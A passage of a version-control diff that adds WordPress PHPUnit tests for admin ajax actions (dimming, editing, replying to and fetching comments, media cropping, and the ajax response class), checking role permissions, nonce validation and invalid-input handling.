+			$this->fail( 'Expected exception: WPAjaxDieStopException' );
+		} catch ( WPAjaxDieStopException $e ) {
+			$this->assertEquals( 10, strlen( $e->getMessage() ) );
+			$this->assertTrue( is_numeric( $e->getMessage() ) );
+		} catch ( Exception $e ) {
+			$this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+		}
+	}
+
+	/**
+	 * Delete a comment as an administrator (expects success)
+	 * @return void
+	 */
+	public function test_ajax_comment_trash_actions_as_administrator() {
+
+		// Test trash/untrash
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment, 'trash' );
+		$this->_test_as_admin( $comment, 'untrash' );
+
+		// Test spam/unspam
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment, 'spam' );
+		$this->_test_as_admin( $comment, 'unspam' );
+
+		// Test delete
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment, 'delete' );
+	}
+
+	/**
+	 * Delete a comment as a subscriber (expects permission denied)
+	 * @return void
+	 */
+	public function test_ajax_comment_trash_actions_as_subscriber() {
+
+		// Test trash/untrash
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_subscriber( $comment, 'trash' );
+		$this->_test_as_subscriber( $comment, 'untrash' );
+
+		// Test spam/unspam
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_subscriber( $comment, 'spam' );
+		$this->_test_as_subscriber( $comment, 'unspam' );
+
+		// Test delete
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_subscriber( $comment, 'delete' );
+	}
+
+	/**
+	 * Delete a comment with no id
+	 * @return void
+	 */
+	public function test_ajax_trash_comment_no_id() {
+
+		// Test trash/untrash
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment, 'trash' );
+		$this->_test_as_admin( $comment, 'untrash' );
+
+		// Test spam/unspam
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment, 'spam' );
+		$this->_test_as_admin( $comment, 'unspam' );
+
+		// Test delete
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment, 'delete' );
+	}
+
+	/**
+	 * Delete a comment with a bad nonce
+	 * @return void
+	 */
+	public function test_ajax_trash_comment_bad_nonce() {
+
+		// Test trash/untrash
+		$comment = array_pop( $this->_comments );
+		$this->_test_with_bad_nonce( $comment, 'trash' );
+		$this->_test_with_bad_nonce( $comment, 'untrash' );
+
+		// Test spam/unspam
+		$comment = array_pop( $this->_comments );
+		$this->_test_with_bad_nonce( $comment, 'spam' );
+		$this->_test_with_bad_nonce( $comment, 'unspam' );
+
+		// Test delete
+		$comment = array_pop( $this->_comments );
+		$this->_test_with_bad_nonce( $comment, 'delete' );
+	}
+
+	/**
+	 * Test trashing an already trashed comment, etc.
+	 * @return void
+	 */
+	public function test_ajax_trash_double_action() {
+
+		// Test trash/untrash
+		$comment = array_pop( $this->_comments );
+		$this->_test_double_action( $comment, 'trash' );
+		$this->_test_double_action( $comment, 'untrash' );
+
+		// Test spam/unspam
+		$comment = array_pop( $this->_comments );
+		$this->_test_double_action( $comment, 'spam' );
+		$this->_test_double_action( $comment, 'unspam' );
+
+		// Test delete
+		$comment = array_pop( $this->_comments );
+		$this->_test_double_action( $comment, 'delete' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/DimComment.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/DimComment.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/DimComment.php	(revision 33402)
@@ -0,0 +1,238 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_DimComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of comments
+	 * @var array
+	 */
+	protected $_comments = array();
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = $this->factory->post->create();
+		$this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 );
+		$this->_comments = array_map( 'get_comment', $this->_comments );
+	}
+
+	/**
+	 * Clear the POST actions in between requests
+	 */
+	protected function _clear_post_action() {
+		unset($_POST['id']);
+		unset($_POST['new']);
+		$this->_last_response = '';
+	}
+
+	/***********************************************************/
+	/** Test prototype
+	/***********************************************************/
+
+	/**
+	 * Test as a privilged user (administrator)
+	 * Expects test to pass
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function _test_as_admin( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Save the comment status
+		$prev_status          = wp_get_comment_status( $comment->comment_ID );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'dim-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Ensure everything is correct
+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+		$this->assertEquals( 'dim-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+		$this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+		$this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+		// Check the status
+		$current = wp_get_comment_status( $comment->comment_ID );
+		if (in_array( $prev_status, array( 'unapproved', 'spam') ) ) {
+			$this->assertEquals( 'approved', $current );
+		} else {
+			$this->assertEquals( 'unapproved', $current );
+		}
+
+		// The total is calculated based on a page break -OR- a random number.  Let's look for both possible outcomes
+		$comment_count = wp_count_comments( 0 );
+		$recalc_total = $comment_count->total_comments;
+
+		// Delta is not specified, it will always be 1 lower than the request
+		$total = $_POST['_total'] - 1;
+
+		// Check for either possible total
+		$this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+	}
+
+	/**
+	 * Test as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function _test_as_subscriber( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'subscriber' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'dim-comment' );
+	}
+
+	/**
+	 * Test with a bad nonce
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function _test_with_bad_nonce( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'dim-comment' );
+	}
+
+	/**
+	 * Test with a bad id
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function test_with_bad_id( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = 12346789;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'dim-comment_12346789' );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request, look for a timestamp in the exception
+		try {
+			$this->_handleAjax( 'dim-comment' );
+			$this->fail( 'Expected exception: WPAjaxDieContinueException' );
+		} catch ( WPAjaxDieContinueException $e ) {
+
+			// Get the response
+			$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+			// Ensure everything is correct
+			$this->assertEquals( '0', (string) $xml->response[0]->comment['id'] );
+			$this->assertEquals( 'dim-comment_0', (string) $xml->response['action'] );
+			$this->assertContains( 'Comment ' . $_POST['id'] . ' does not exist', $this->_last_response );
+
+		} catch ( Exception $e ) {
+			$this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+		}
+	}
+
+	/**
+	 * Dim a comment as an administrator (expects success)
+	 * @return void
+	 */
+	public function test_ajax_comment_dim_actions_as_administrator() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment );
+		$this->_test_as_admin( $comment );
+	}
+
+	/**
+	 * Dim a comment as a subscriber (expects permission denied)
+	 * @return void
+	 */
+	public function test_ajax_comment_dim_actions_as_subscriber() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_subscriber( $comment );
+	}
+
+	/**
+	 * Dim a comment with no id
+	 * @return void
+	 */
+	public function test_ajax_dim_comment_no_id() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment );
+	}
+
+	/**
+	 * Dim a comment with a bad nonce
+	 * @return void
+	 */
+	public function test_ajax_dim_comment_bad_nonce() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_with_bad_nonce( $comment );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/EditComment.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/EditComment.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/EditComment.php	(revision 33402)
@@ -0,0 +1,148 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_EditComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * A post with at least one comment
+	 * @var mixed
+	 */
+	protected $_comment_post = null;
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $post_id, 5 );
+		$this->_comment_post = get_post( $post_id );
+	}
+
+	/**
+	 * Get comments as a privilged user (administrator)
+	 * Expects test to pass
+	 * @return void
+	 */
+	public function test_as_admin() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'edit-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( -1, (string) $xml->response[0]->edit_comment['position'] );
+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->edit_comment['id'] );
+		$this->assertEquals( 'edit-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->edit_comment[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->edit_comment[0]->supplemental );
+	}
+
+	/**
+	 * Get comments as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_as_subscriber() {
+
+		// Become an administrator
+		$this->_setRole( 'subscriber' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'edit-comment' );
+	}
+
+	/**
+	 * Get comments with a bad nonce
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_bad_nonce() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments for an invalid post
+	 * This should return valid XML
+	 * @return void
+	 */
+	public function test_invalid_comment() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = 123456789;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'edit-comment' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/GetComments.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/GetComments.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/GetComments.php	(revision 33402)
@@ -0,0 +1,161 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_GetComments extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * A post with at least one comment
+	 * @var mixed
+	 */
+	protected $_comment_post = null;
+
+	/**
+	 * A post with no comments
+	 * @var mixed
+	 */
+	protected $_no_comment_post = null;
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $post_id, 5 );
+		$this->_comment_post = get_post( $post_id );
+
+		$post_id = $this->factory->post->create();
+		$this->_no_comment_post = get_post( $post_id );
+
+		unset( $GLOBALS['post_id'] );
+	}
+
+	/**
+	 * Get comments as a privilged user (administrator)
+	 * Expects test to pass
+	 * @return void
+	 */
+	public function test_as_admin() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = $this->_comment_post->ID;
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'get-comments' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( 1, (string) $xml->response[0]->comments['position'] );
+		$this->assertEquals( 0, (string) $xml->response[0]->comments['id'] );
+		$this->assertEquals( 'get-comments_0', (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->comments[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->comments[0]->supplemental );
+	}
+
+	/**
+	 * Get comments as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_as_subscriber() {
+
+		// Become a subscriber
+		$this->_setRole( 'subscriber' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = $this->_comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments with a bad nonce
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_bad_nonce() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = $this->_comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments for an invalid post
+	 * Bad post IDs are set to 0, this should return valid XML
+	 * @return void
+	 */
+	public function test_invalid_post() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = 'b0rk';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments for an invalid post
+	 * Bad post IDs are set to 0, this should return valid XML
+	 * @return void
+	 */
+	public function test_post_with_no_comments() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = $this->_no_comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/MediaEdit.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/MediaEdit.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/MediaEdit.php	(revision 33402)
@@ -0,0 +1,98 @@
+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax media editing
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.5.0
+ * @group      ajax
+ */
+class Tests_Ajax_MediaEdit extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of media thumbnail ids
+	 * @var array
+	 */
+	protected $_ids = array();
+
+	/**
+	 * Set up the test fixture.
+	 */
+	public function setUp() {
+		parent::setUp();
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 */
+	public function tearDown() {
+		// Cleanup
+		foreach ( $this->_ids as $id ) {
+			wp_delete_attachment( $id, true );
+		}
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Function snagged from ./tests/post/attachments.php
+	 */
+	function _make_attachment($upload, $parent_post_id = 0) {
+		$type = '';
+		if ( !empty($upload['type']) ) {
+			$type = $upload['type'];
+		} else {
+			$mime = wp_check_filetype( $upload['file'] );
+			if ($mime)
+				$type = $mime['type'];
+		}
+
+		$attachment = array(
+			'post_title' => basename( $upload['file'] ),
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $parent_post_id,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ],
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+		return $this->_ids[] = $id;
+	}
+
+	/**
+	 * @ticket 22985
+	 */
+	public function testCropImageThumbnail() {
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+		$filename = DIR_TESTDATA . '/images/canola.jpg';
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$id = $this->_make_attachment($upload);
+
+		$_REQUEST['action'] = 'image-editor';
+		$_REQUEST['context'] = 'edit-attachment';
+		$_REQUEST['postid'] = $id;
+		$_REQUEST['target'] = 'thumbnail';
+		$_REQUEST['do'] = 'save';
+		$_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":289,"h":322}}]';
+
+		$media_meta = wp_get_attachment_metadata($id);
+		$this->assertArrayHasKey('sizes', $media_meta, 'attachment should have size data');
+		$this->assertArrayHasKey('medium', $media_meta['sizes'], 'attachment should have data for medium size');
+		$ret = wp_save_image($id);
+
+		$media_meta = wp_get_attachment_metadata($id);
+		$this->assertArrayHasKey('sizes', $media_meta, 'cropped attachment should have size data');
+		$this->assertArrayHasKey('medium', $media_meta['sizes'], 'cropped attachment should have data for medium size');
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/ReplytoComment.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/ReplytoComment.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/ReplytoComment.php	(revision 33402)
@@ -0,0 +1,228 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_ReplytoComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * A post with at least one comment
+	 * @var mixed
+	 */
+	protected $_comment_post = null;
+
+	/**
+	 * Draft post
+	 * @var mixed
+	 */
+	protected $_draft_post = null;
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $post_id, 5 );
+		$this->_comment_post = get_post( $post_id );
+
+		$post_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+		$this->_draft_post = get_post( $post_id );
+
+		$_SERVER['REMOTE_ADDR'] = '';
+	}
+
+	/**
+	 * Reply as a privilged user (administrator)
+	 * Expects test to pass
+	 * @return void
+	 */
+	public function test_as_admin() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+		    'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'replyto-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( -1, (string) $xml->response[0]->comment['position'] );
+		$this->assertGreaterThan( 0, (int) $xml->response[0]->comment['id'] );
+		$this->assertNotEmpty( (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->comment[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->comment[0]->supplemental );
+	}
+
+	/**
+	 * Reply as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_as_subscriber() {
+
+		// Become an administrator
+		$this->_setRole( 'subscriber' );
+
+		// Get a comment
+		$comments = get_comments( array(
+		'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply using a bad nonce
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_bad_nonce() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+		    'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply to an invalid post
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_invalid_post() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = 123456789;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply to a draft post
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_with_draft_post() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = $this->_draft_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', 'ERROR: you are replying to a comment on a draft post.' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply to a post with a simulated database failure
+	 * Expects test to fail
+	 * @global $wpdb
+	 * @return void
+	 */
+	public function test_blocked_comment() {
+		global $wpdb;
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+		// Block comments from being saved, simulate a DB error
+		add_filter( 'query', array( $this, '_block_comments' ) );
+
+		// Make the request
+		try {
+			$wpdb->suppress_errors( true );
+			$this->_handleAjax( 'replyto-comment' );
+			$wpdb->suppress_errors( false );
+			$this->fail();
+		} catch ( WPAjaxDieStopException $e )  {
+			$wpdb->suppress_errors( false );
+			$this->assertContains( '1', $e->getMessage() );
+		}
+	}
+
+	/**
+	 * Block comments from being saved
+	 * @param string $sql
+	 * @return string
+	 */
+	public function _block_comments( $sql ) {
+		global $wpdb;
+		if ( false !== strpos( $sql, $wpdb->comments ) && 0 === stripos( trim ( $sql ), 'INSERT INTO') ) {
+			remove_filter( 'query', array( $this, '_block_comments' ) );
+			return '';
+		}
+		return $sql;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/Response.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/Response.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/Response.php	(revision 33402)
@@ -0,0 +1,102 @@
+<?php
+/**
+ * Testing ajax response class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.5.0
+ * @group      ajax
+ */
+class Tests_Ajax_Response extends WP_UnitTestCase {
+
+	/**
+	 * Saved error reporting level
+	 * @var int
+	 */
+	protected $_error_level = 0;
+
+	/**
+	 * Set up the test fixture.
+	 * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		if ( !defined( 'DOING_AJAX' ) )
+			define( 'DOING_AJAX', true );
+
+		// Suppress warnings from "Cannot modify header information - headers already sent by"
+		$this->_error_level = error_reporting();
+		error_reporting( $this->_error_level & ~E_WARNING );
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 * Remove the wp_die() override, restore error reporting
+	 */
+	public function tearDown() {
+		remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		error_reporting( $this->_error_level );
+		parent::tearDown();
+	}
+
+	/**
+	 * Return our callback handler
+	 * @return callback
+	 */
+	public function getDieHandler() {
+		return array( $this, 'dieHandler' );
+	}
+
+	/**
+	 * Handler for wp_die()
+	 * Don't die, just continue on.
+	 * @param string $message
+	 */
+	public function dieHandler( $message ) {
+	}
+
+	/**
